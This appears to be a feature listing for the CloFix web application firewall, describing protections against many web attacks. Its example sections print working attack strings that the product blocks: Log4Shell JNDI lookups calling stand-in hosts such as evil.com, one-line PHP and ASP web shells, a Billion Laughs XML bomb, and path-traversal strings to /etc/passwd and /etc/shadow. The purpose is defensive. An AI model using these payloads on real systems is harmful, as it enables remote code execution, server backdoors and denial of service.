Authentication: Brute force, credential stuffing, XML-RPC multicall, user enumeration, author scans
Injection: SQL injection, XSS, NoSQL (via REST), command injection, LDAP injection
File-Based: LFI/RFI, path traversal, null byte injection, PHP execution in uploads, timthumb exploitation
Information Disclosure: Version fingerprinting, directory browsing, debug logs, config files, backup exposure, theme/plugin enumeration
Application Logic: Installer access after setup, wp-cron external triggers, CSRF, method override abuse
DoS/DDoS: REST API flooding, login request storms, XML-RPC amplification, hotlink overload
Scanning: Vulnerability scanners, bad bots, content scrapers, directory brute forcing

🔬 Prototype Pollution Protection

Prevents JavaScript prototype pollution attacks targeting object prototypes in Node.js and browser environments

🔄 Open Redirect Protection

Blocks unvalidated redirects and forwards that could be used for phishing attacks

📊 GraphQL Security Protection

Comprehensive security for GraphQL APIs against introspection, depth bombs, and batch attacks

📁 Secure File Upload Protection

Blocks malicious file uploads including webshells, malware, and double-extension attacks

📨 HTTP Request Smuggling Protection

Blocks CL.TE, TE.CL, and TE.TE request smuggling attacks against proxies and load balancers

🎨 Server-Side Template Injection Protection

Prevents SSTI attacks that could lead to RCE in templating engines

🌐 CORS Abuse Protection

Prevents Cross-Origin Resource Sharing misconfigurations and abuse attacks

🖱️ ClickJacking Protection

Prevents UI redress attacks that trick users into clicking hidden elements

🔌 WebSocket Abuse Protection

Secures WebSocket connections against abuse, flooding, and cross-origin attacks

🔐 API Abuse Protection

Comprehensive API security including rate limiting, schema validation, and abuse detection

🔧 HTTP Method Spoofing Protection

Blocks HTTP method override attacks that bypass security controls

🏠 Host Header Injection Protection

Prevents host header attacks including cache poisoning, password reset poisoning, and SSRF

📝 HTTP Response Splitting Protection

Prevents CRLF injection attacks that split HTTP responses and enable XSS

🎯 MIME Sniffing Protection

Prevents browsers from interpreting files as executable content types

📋 Content-Type Enforcement

Enforces strict Content-Type headers for API endpoints

✍️ Unicode Homograph Protection

Prevents IDN homograph attacks that use visually similar Unicode characters

📐 API Schema Validation

Validates API requests against OpenAPI/JSON Schema definitions

🏷️ Host Header Validation

Validates Host header against allowed domains and blocks injections

🏢 Subdomain Takeover Protection

Detects and prevents dangling DNS records pointing to unclaimed cloud services

Prevents attackers from claiming abandoned subdomains pointing to external cloud services (S3 buckets, GitHub Pages, Heroku, Azure, etc.) for phishing, XSS, or session hijacking.

🎯 Monitored Cloud Services

AWS S3 Buckets (dangling bucket takeover)
GitHub Pages (unclaimed repository)
Heroku Apps (deleted/unclaimed apps)
Azure CDN / Storage
Google Cloud Storage
DigitalOcean Spaces
Shopify (unclaimed stores)
WordPress.com (unclaimed blogs)
Zendesk (unclaimed helpdesk)
Campaign Monitor (unclaimed accounts)
Freshdesk (unclaimed support)
SendGrid (unclaimed email services)

🛡️ Protection Mechanisms

CNAME Record Monitoring & Alerting
Dead DNS Entry Detection
Automatic Subdomain Health Checks
Orphaned Resource Detection
DNS Response Validation
Cloud Service Takeover Detection
Subdomain Fingerprint Tracking
Periodic DNS Audit

📋 Detected Vulnerable Patterns

CNAME to expired S3 bucket → s3-website-us-east-1.amazonaws.com not resolving
CNAME to unclaimed Heroku → yourapp.herokuapp.com shows "No such app"
CNAME to GitHub Pages with no repository
MX records pointing to dead email services
NS records pointing to unclaimed subdomains
TXT records with dangling verification tokens

⚙️ Security Actions

Alert on suspicious CNAME resolution failures
Block requests to dangling subdomains
Automatic SSL Certificate validation
DNS Record Expiry Monitoring
Takeover Attempt Logging
Instant Email/Slack/FCM Notification
Automated DNS Cleanup Recommendations

📝 Log4Shell (CVE-2021-44228) Protection

Blocks JNDI injection attacks targeting Log4j vulnerabilities

Blocks all variants of the Log4Shell exploit (CVE-2021-44228) that allow Remote Code Execution via JNDI injection in log messages.

🎯 Attack Patterns Blocked

Basic JNDI: ${jndi:ldap://evil.com/exploit}
Lowercase Bypass: ${jndi:${lower:l}${lower:d}ap://evil.com}
Upper/Lower Mix: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}
Environment Variables: ${${env:JNDI:-j}ndi:ldap://evil.com}
Nested Variables: ${${web:jndi}${web:ldap:}evil.com}
Base64 Encoded: ${${base64:am5kaQ==}:ldap://evil.com}
DNS Lookup: ${jndi:dns://evil.com}
RMI Protocol: ${jndi:rmi://evil.com/exploit}
IIOP Protocol: ${jndiiop://evil.com}
LDAPS Protocol: ${jndi:ldaps://evil.com}
CORBA Protocol: ${jndi:corbaname:evil.com}
Remote/Local Mix: ${${ctx:jndi}${ctx:ldap}://evil.com}

🔍 Detection Techniques

Regex-based JNDI Pattern Matching
Multi-layer Nested Expression Decoding
Environment Variable Interpolation Detection
Lowercase/Environment/Base64 Bypass Detection
All HTTP Headers Scanning (User-Agent, Referer, X-Forwarded-For, Cookie, Authorization, etc.)
Query String Parameter Inspection
POST Body (JSON, XML, Form) Scanning
Path Parameter Validation
WebSocket Message Inspection

🛡️ Protected Vectors

HTTP Headers: User-Agent, Referer, X-Forwarded-For, X-Real-IP, Cookie, Authorization, Origin
Query Parameters: All URL parameters
Request Body: JSON, XML, Form data, Multipart uploads
URL Path: Path segments, file extensions
Uploaded Files: Filename, content inspection
WebSocket: Message frames

⚙️ Security Actions

Immediate request blocking on JNDI pattern match
IP-based blocking with nftables/firewall
Fingerprint-based rate limiting
Automatic attack logging to ClickHouse
Real-time alerts (Slack, Email, FCM, WebSocket)
Suspicious pattern scoring system
WAF bypass attempt detection

📊 Example Blocked Payloads

          ${jndi:ldap://attacker.com/Exploit}
          ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://evil.com}
          ${${env:JNDI:-j}ndi${env:JNDI:-:}${env:JNDI:-l}dap://malicious.com}
          ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://hack.com}
          ${jndi:${lower:l}${upper:d}a${::-p}://exploit.com/payload}

🔧 HTTP Verb Tampering Protection

Blocks arbitrary and overridden HTTP methods bypassing ACL restrictions

Prevents attackers from using HTTP method override headers to bypass authentication, authorization, and security controls.

🎯 Attack Patterns Blocked

X-HTTP-Method-Override header injection
X-HTTP-Method override attacks
X-Method-Override header abuse
X-Original-Method spoofing
_method query parameter override
method parameter in POST body
HTTP/2 pseudo-header manipulation
Custom method injection

🎯 Bypass Scenarios Blocked

GET to POST: Circumventing CSRF tokens
GET to DELETE: Unauthorized data deletion
GET to PUT/PATCH: Data modification without permission
POST to DELETE: Privilege escalation via method change
HEAD to POST: Web cache deception attacks
Invalid HTTP methods: ACK, BUG, FIND, etc.
Verb-based access control bypass: When only GET is allowed but POST is overridden

🛡️ Protection Mechanisms

HTTP Method Whitelist Enforcement (GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS)
Override Header Detection & Blocking
Method Normalization
Consistent Method Validation Across All Endpoints
Per-Endpoint Method Restriction
Invalid Method Rejection (405)
Method Spoofing Alerting
Security Header Enforcement (X-HTTP-Method-Override: block)

⚙️ Configuration Options

Allowed Methods per Path (e.g., /api/ POST, PUT, DELETE allowed)
Override Header Block Policy (block or strip)
Method Validation Strictness Level
Custom Method Allowlist
Admin-Only Method Restriction

📋 Example Blocked Requests

          GET /admin/users/123 HTTP/1.1
          X-HTTP-Method-Override: DELETE

          POST /api/payment HTTP/1.1
          X-Method-Override: GET

          GET /profile/edit?_method=PUT HTTP/1.1

🎯 Mass Assignment Protection

Blocks privilege escalation attempts via hidden JSON body parameters

Prevents attackers from modifying protected model attributes by injecting extra fields in JSON/Form requests (Mass Assignment/RBAC bypass vulnerabilities).

🎯 Protected Sensitive Fields

Role/Privilege Fields: role, roles, is_admin, isAdmin, admin, privilege, permissions
Account Control: is_active, is_verified, status, account_status, locked
Database Fields: _id, __v, createdAt, updatedAt, version
Financial Fields: balance, credits, subscription_tier, plan
Password Fields: password, password_confirmation, current_password
Auth Fields: api_key, access_token, refresh_token, session_id
MongoDB Prototype Pollution: __proto__, constructor, prototype
Nested Object Injection: user[role], data.isAdmin, profile.privileges

🛡️ Detection Techniques

Deep JSON Body Scanning (recursive object traversal)
Form Parameter Inspection (multipart, URL-encoded)
Query String Parameter Analysis
Field Name Blacklist with Pattern Matching
Whitelist-based Field Allowlisting
Model Schema Validation
Underscore/CamelCase Normalization
Nested Object Detection
Wildcard Parameter Rejection (*, **, [*])

⚙️ Protection Modes

BLOCK: Reject requests containing protected fields
STRIP: Remove protected fields before processing
ALERT: Log only, allow request (monitoring mode)
AUTO: Block if score exceeds threshold

📋 Example Blocked Requests

          POST /api/users/register HTTP/1.1
          Content-Type: application/json

          {"username": "attacker", "email": "x@x.com", "is_admin": true}

          PUT /api/profile/123 HTTP/1.1
          Content-Type: application/x-www-form-urlencoded

          username=hacker&role=administrator&balance=999999

          POST /api/update-user HTTP/1.1

          user[name]=attack&user[privilege_level]=99&user[__v]=0

💾 Cache Poisoning Protection

Prevents CDN, proxy, and application cache poisoning via header abuse

Blocks attackers from injecting malicious content into shared caches (CDN, reverse proxy, load balancer) using unkeyed header injection.

🎯 Attack Vectors Blocked

X-Forwarded-Host: Cache key poisoning via host header
X-Original-URL: Cache deception via URL rewriting
X-Rewrite-URL: Path-based cache poisoning
X-Forwarded-Path: Alternative path injection
X-Forwarded-Port: Port-based cache variation
X-Forwarded-Proto: HTTP/HTTPS cache confusion
X-Forwarded-Scheme: Protocol mismatch attacks
X-Original-Host: Alternate host injection
X-Forwarded-For: Cache key manipulation via IP
X-Real-IP: Client IP cache poisoning
X-Custom-Header: Unkeyed header injection
Vary Header Abuse: Cache DoS via varying headers

🛡️ Protection Mechanisms

Header Normalization & Validation
Cache Key Normalization (remove unkeyed headers)
Dangerous Header Stripping
X-Forwarded Header Sanitization
Cache Response Validation
Duplicate Header Detection & Blocking
Header Length Limiting
Cache Purge Request Validation
Cache-Key Whitelisting
Response Variant Analysis

⚙️ Protected Headers Automatically Stripped

X-Forwarded-Host, X-Forwarded-Path, X-Forwarded-Port
X-Original-URL, X-Rewrite-URL, X-Original-Host
X-Forwarded-Server, X-Proxy-Host, X-Real-IP
X-Forwarded-For (only first IP preserved for logs)
Custom unkeyed headers configurable

📋 Example Attack Blocked

          GET / HTTP/1.1
          Host: vulnerable.com
          X-Forwarded-Host: evil.com

          GET /admin/users HTTP/1.1
          X-Original-URL: /index.html
          X-Rewrite-URL: /cache-buster

          GET /products/123 HTTP/1.1
          X-Forwarded-Path: /malicious
          Cache-Control: public, max-age=3600

🏠 Host Header Injection Protection

Prevents password reset poisoning, cache poisoning, and virtual host bypass attacks

Blocks attackers from manipulating the Host header to poison password reset links, bypass virtual host routing, and launch web cache deception attacks.

🎯 Attack Vectors Blocked

Password Reset Poisoning: Host header modified to point to attacker domain
Cache Poisoning: Malicious host header cached by CDN/proxy
Virtual Host Bypass: Access restricted vhosts via host header
Web Cache Deception: Host variation causing cache mismatch
XSS via Host Reflection: Malicious script in host header
DNS Rebinding: Host header pointing to internal IPs
Port Injection: example.com:8080 bypassing port restrictions
Localhost Attack: 127.0.0.1, localhost host values
Line-Feed Injection: %0d%0a HTTP response splitting
Duplicate Host Header: Multiple Host headers causing ambiguity

🛡️ Protection Mechanisms

Host Whitelist Validation (against configured domains)
Port Stripping & Validation
localhost/Private IP Blocking (127.0.0.1, 0.0.0.0, ::1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Duplicate Host Header Rejection
CRLF Injection Prevention (\r\n, %0d%0a, %0a%0d)
Null Byte Detection (%00, \x00)
Path Traversal Detection (../, ..%2f)
Host Length Validation (max 255 chars)
Allowed Character Whitelist (a-z, 0-9, ., -, :)
Automated Host Normalization

⚙️ Configuration Options

Allowed Domains List (primary + aliases)
Block Private IPs (toggle)
Block Localhost (toggle)
Strip Port from Host (toggle)
Case-Sensitive Validation (off by default)

📋 Example Blocked Requests

          POST /reset-password HTTP/1.1
          Host: evil.com
          Content-Type: application/json

          {"email": "victim@example.com"}

          GET /admin HTTP/1.1
          Host: 127.0.0.1

          GET /%0d%0aX-Forwarded-Host:evil.com HTTP/1.1
          Host: vulnerable.com

          Host: vulnerable.com
          Host: evil.com
          Host: vulnerable.com

⏱️ Regular Expression Denial of Service (ReDoS) Protection

Blocks catastrophic regex input patterns targeting vulnerable regex implementations

Prevents ReDoS attacks that exploit inefficient regular expressions with catastrophic backtracking to freeze or crash the server.

🎯 Attack Patterns Detected

Nested Quantifiers: (a+)+, (a*)*, (a?)?
Overlapping Alternations: (a|a)+, (a|aa)+
Long Repetitions: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa with nested patterns
Repeated Groups: (a+)*$, (.*)*
Evil Regex Patterns: ^(([a-z])+.)+[A-Z]([a-z])+$
Polynomial Time Patterns: (a|aa)+b, (a|a)+b
Exponential Time Patterns: (a+)+$, ([a-zA-Z]+)*$
Long Strings with Repetition: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Known ReDoS Payloads: From OWASP ReDoS list
Low Character Variety + High Length: High entropy + repeating patterns

🛡️ Detection Techniques

Input Length Validation (max 10,000 chars default)
Character Variety Analysis (low variety = suspicious)
Repetition Pattern Detection (run-length encoding)
Nested Pattern Matching (regex token parsing)
Execution Timeouts (prevent DoS at runtime)
Memory Usage Monitoring (abort excessive allocations)
Known ReDoS Payload Database
Adaptive Rate Limiting (throttle on detection)
Automated Regex Static Analysis (pre-filter dangerous patterns)

⚙️ Protection Thresholds

Max Input Length: 10,000 characters (configurable)
Max Repetition Count: 50 consecutive same chars
Low Variety Threshold: < 5 unique chars in input
Execution Timeout: 100ms per regex operation
Block Threshold: Attack score ≥ 8/10

📋 Example Blocked Payloads

          aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
          aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
          (a+)+b pattern: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
          (a*)* pattern: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
          (a|a)+ pattern: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
          ([a-zA-Z]+)*$ pattern: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

💣 XML Bomb (Billion Laughs) Protection

Prevents quadratic blowup and entity expansion attacks in XML documents

Blocks XML denial-of-service attacks using entity expansion, nested entities, and external entity references (Billion Laughs, Quadratic Blowup).

🎯 Attack Types Blocked

Billion Laughs Attack: Recursive entity expansion
Quadratic Blowup: Large entity references causing memory exhaustion
External Entity Expansion (XXE): File inclusion with expansion
Deep Nesting: Highly nested XML elements
Attribute Bomb: Excessive attributes per element
Large CDATA Sections: Oversized character data
XML Declaration Bomb: Large encoding declarations
Namespace Bomb: Excessive XML namespaces

🛡️ Protection Mechanisms

Disable External Entity Resolution
Disable DTD Processing (security-focused parsing)
Entity Expansion Limit (max 10,000 expansions)
Nested Entity Limit (max depth 10)
Max Element Depth (max 100 levels)
Max Attributes per Element (max 50)
Max Content Length (configurable)
Max CDATA Section Size (1MB default)
Max Entity Parameter Count (max 100)
Strict XML Parsing Mode
Memory Usage Limits
Processing Timeout (5 seconds max)

⚙️ Safe XML Parsing Configuration

          decoder := xml.NewDecoder(bytes.NewReader(body))
          decoder.Strict = true
          decoder.Entity = map[string]string{} // Empty = no entities
          decoder.CharsetReader = nil // Prevent charset attacks

📋 Example Attack Payloads

          <?xml version="1.0"?>
          <!DOCTYPE lolz [
            <!ENTITY lol "lol">
            <!ENTITY lol1 "&lol;&lol;">
            <!ENTITY lol2 "&lol1;&lol1;">
            ...
            <!ENTITY lol9 "&lol8;&lol8;">
          ]>
          <lolz>&lol9;</lolz>

🔄 Path Normalization Protection

Blocks path traversal bypasses using URL encoding, Unicode, and double encoding tricks

Prevents attackers from bypassing path-based access controls using URL encoding, Unicode normalization, null bytes, and double encoding tricks.

🎯 Attack Patterns Blocked

Basic Path Traversal: ../, ..\\, .../
URL Encoded: %2e%2e%2f, %2e%2e/
Double Encoding: %252e%252e%252f, %252e%252e/
Unicode Normalization: %c0%ae%c0%ae%c0%af (overlong UTF-8)
Null Byte Injection: file.php%00.jpg, ..%00/
Mixed Slashes: ..\\../, ..//../
Directory Self-Reference: /./././etc/passwd
Parent Directory Repetition: ....//....//....//etc/passwd
Hex Encoding: %2E%2E%2F (uppercase/lowercase mix)
Backslash Variants: ..%5c (Windows path separator)
UTF-16 Encoding: %ff%fe%2e%00%2e%00%2f%00
Path Prefix Bypass: /var/www/../../../etc/passwd

🛡️ Protection Mechanisms

Multi-layer URL Decoding (3-pass decode)
Unicode Normalization (NFC/NFKD)
Path Canonicalization (path.Clean())
Null Byte Stripping
Character Whitelist Validation
Base Path Enforcement (chroot-style)
Forbidden Pattern Detection
Sensitive Path Blacklisting (/etc/passwd, /proc/, /root/)
Backslash to Forward Slash Conversion
Double Path Clean Validation

📋 Example Blocked Paths

          ../../../etc/passwd
          ..%252f..%252f..%252fetc/passwd
          ....//....//....//etc/passwd
          /%2e%2e/%2e%2e/%2e%2e/etc/passwd
          /var/www/../../../../etc/shadow
          /..%c0%af..%c0%af..%c0%afetc/passwd

🐚 Web Shell Upload Protection

Detects and blocks web shell uploads including c99, r57, b374k, and China Chopper signatures

Prevents attackers from uploading web shells (backdoor scripts) that provide remote access and command execution on the server.

🎯 Detected Web Shell Types

c99 Shell: c99.php, c99_madrid variants
r57 Shell: r57.php, r57shell variants
b374k Shell: b374k.php, b374k-mini variants
China Chopper: caidao.asp, caidao.php
WSO (Web Shell by oRb): wso.php, webshell.php
ShellBot: IRC bot shells
PHP Simple Shell: shell.php, cmd.php
ASPX Shell: shell.aspx, cmd.aspx
JSP Shell: shell.jsp, cmd.jsp
Perl/CGI Shell: shell.cgi, cmd.pl
Python Shell: shell.py, backdoor.py
Node.js Shell: shell.js, backdoor.js

🔍 Detection Signatures

System Command Functions: system(), exec(), shell_exec(), passthru(), popen()
File Manipulation: file_put_contents(), fopen(), chmod()
Code Execution: eval(), assert(), create_function()
Base64 Decoding: base64_decode(), gzinflate(), str_rot13()
Known Shell Signatures: $c99, $r57, b374k, wso_version
Obfuscation Patterns: Multiple nested functions, concatenated strings
Web Shell User-Agents: Mozilla/5.0 (Windows NT; r57shell)
Filename Patterns: *shell*, *backdoor*, *cmd*

🛡️ Protection Techniques

Content-based Signature Matching
MIME Type Validation (text/plain disguised as image)
File Extension Blacklist (.php, .phtml, .php3, .asp, .aspx, .jsp, .jspx, .cgi, .pl, .py)
Double Extension Detection (shell.jpg.php)
Null Byte Poisoning Prevention (shell.php\x00.jpg)
Code Obfuscation Detection
Function Call Whitelist
Heuristic Analysis (unusual combinations of dangerous functions)
Entropy Analysis (high entropy = suspicious for encoded payloads)
Anti-Virus Scanning Integration (optional)

🚫 Blocked File Extensions

PHP: .php, .php3, .php4, .php5, .phtml, .phps
ASP: .asp, .aspx, .ashx, .asmx, .asax
JSP: .jsp, .jspx, .jws, .jsw
CGI/Perl: .cgi, .pl, .pm
Python: .py, .pyc
Ruby: .rb, .rbw
Shell: .sh, .bash, .zsh

📋 Example Web Shell Signatures Blocked

          <?php eval($_POST['cmd']); ?>
          <?php system($_GET['cmd']); ?>
          <?php @assert($_POST['c']); ?>
          <?= `$_GET[cmd]` ?>
          <% eval request("cmd") %>
          <%@ Page Language="Jscript" %><%eval(Request.Item["cmd"],"unsafe");%>

🔏 JA3 Fingerprint Protection

Identifies scanners and bots from the TLS handshake, even when the User-Agent is spoofed

🌊 DDoS Attack Detector

Spots flood patterns early and blocks the sources before the origin is overwhelmed

🔑 Credential Stuffing Protection

Stops stolen username and password lists from being replayed against login forms and APIs

📈 Adaptive Rate Limiting

Raises or lowers request limits from live behavior instead of one fixed number for everyone

🎟️ JWT Abuse Protection

Rejects tampered, confused, or replayed JSON Web Tokens before the application trusts them

🗃️ Web Cache Deception Protection

Stops attackers from tricking a cache into storing private pages under a static-looking URL

💣 JSON Bomb Protection

Rejects JSON bodies that expand into huge objects, deep trees, or enormous strings

📏 Duplicate Content-Length Protection

Drops requests that send conflicting Content-Length headers to desync proxies and backends

⚡ HTTP/2 Rapid Reset Protection

Limits streams that are opened and reset in a tight loop to exhaust server resources

🛡️ Trusted Proxy Validation

Trusts forwarded client IP headers only when the connection comes from a proxy you configured

📦 Request Body Size Limit

Rejects request bodies larger than the configured maximum before they are buffered

🗜️ Decompression Bomb Protection

Stops highly compressed bodies that expand to gigabytes when unzipped

🔢 OTP Brute-Force Protection

Slows and blocks repeated guesses against one-time passwords and verification codes

📊 GraphQL Complexity Limit

Rejects GraphQL queries that are too deep, too wide, or too expensive to execute

🔐 BOLA / IDOR Detection

Flags object-ID tampering where a user tries to read or change someone else's record

🧊 Authenticated Cache Isolation

Keeps logged-in responses out of shared caches so one user cannot be served another's page

🕵️ Secret Leakage Detection

Scans responses for API keys, tokens, and cloud credentials before they leave the edge

🔔 Real-Time Alerts - Slack

Sends real-time security alerts and notifications to Slack channel

📝 Lua Scripting Support

Custom security logic implementation using Lua scripting

🔒 VPN Blocking

Detects and blocks requests from VPN services and proxies

🤖 Bad Bot Blocking

Identifies and blocks malicious bot traffic

📱 Agent UA Blocking

Blocks requests based on suspicious User-Agent strings

🔍 SEO Bot Analysis

Analyzes and validates legitimate search engine bots

📝 Signatures Blocking

Blocks requests matching known attack signatures

🧅 Tor Exit Node Monitor and Blocking

Monitors and blocks requests from Tor exit nodes

🚫 IP Blocking

Blocks requests from specific IP addresses or IP ranges

📁 Path Blocking

Blocks access to specific URL paths/directories

📨 Headers Blocking

Blocks requests containing specific HTTP headers

🌐 Hostname Blocking

Blocks requests based on hostname/domain

🗺️ Country Blocking

Blocks traffic from specific countries (geo-blocking)

📄 Body Content Blocking

Blocks requests containing specific patterns in request body

🔍 Query Blocking

Blocks requests based on query string parameters

🆔 CloFix ID Blocking

Blocks specific CloFix identification patterns

🔢 ASN Blocking

Blocks traffic from specific Autonomous System Numbers

CloFix WAF Security

Load Balancer

⚖️ CloFix Load Balancer

Scripting Engine

🦀 CloFix WASM Engine

📜 CloFix JavaScript (clofix) Engine

⚙️ OWASP CRS Core Rule Set

🔧 CloFix Lua Scripting Engine

🎯 CloFix Custom Rules & Scripting

🧠 CloFix AI Protection Engine

🔌 CloFix API Security Engine

🤖 CloFix Bot Management Engine

🛡️ CloFix Advanced Protection

Default Protection

🔍 Behavioral Analysis

🆔 No-IP Device Behavioral Protection

CADRE Engine

⚡ CADRE Engine - Context-Aware Dynamic Rule Engine

🔍 CADRE Behavioral Analysis

🆔 CADRE No-IP Device Behavioral Protection

📦 CADRE Attack Type Modules (100+)

🔒 CADRE Network-Level Blocking

AI-Powered Protection

🔍 Fingerprint Blocking

📦 Payload Blocking

📊 Traffic Anomaly Blocking

🚫 IP Reputation Blocking

🕸️ JavaScript Behavior Blocking

🍪 Cookie Validation Blocking

📱 Device Identity Blocking

🤖 Automation Tool Blocking

☁️ Cloud Service Blocking

🔄 DNS Rebinding Blocking

🔑 Credential Stuffing Blocking

🕷️ Crawler Detection Blocking

🔌 API Abuse Blocking

📨 Header Injection Blocking

🔒 TLS Fingerprint Blocking

🛡️ SSL MITM Blocking

↪️ Open Redirect Blocking

🎭 Fake Bot Blocking

⚡ AI Rate Limit Blocking

🔐 JA3 Check

🖥️ VM/Debug Detection Blocking

🎨 Canvas Fingerprint Blocking

📁 Path Traversal Blocking

💾 SQL Injection Blocking

⚠️ XSS Detection Blocking

⌨️ Command Injection Blocking

📄 XXE Detection Blocking

📋 LDAP Injection Blocking

🍃 NoSQL Injection Blocking

📝 SSTI Detection Blocking

🔄 CSRF Check Blocking

🖱️ Clickjacking Blocking

🔍 Vulnerability Scanner Blocking

💻 Terminal Access Blocking

🛡️ jQuery Guard Blocking

📡 Scan Technique Blocking

📜 Script Detector Blocking

👤 Behavior Detector Blocking

☠️ C2 Detector Blocking

⚔️ Attack Detector Blocking

🤖 AI Attack Detector Blocking

Core Security Features

🛡️ Advanced DDoS Protection (70+ Attack Types)

🔒 SQL Injection Protection (A1)

🔐 Sensitive Data Encryption (A3)

📄 XML External Entities Blocked (A4)

📁 Path Traversal Protection (A5)

⚙️ Misconfiguration Scan (A6)

⚠️ XSS Protection (A7)

📦 Insecure Deserialization Block (A8)

📊 Logging and Monitoring (A10)

🐌 Slowloris Protection

📏 Header Length Limit

🌊 Flooding Attacks Protection

🔍 Header Scan Protection

🍪 Cookie Tampering Protection

🔑 Session Cookie Validation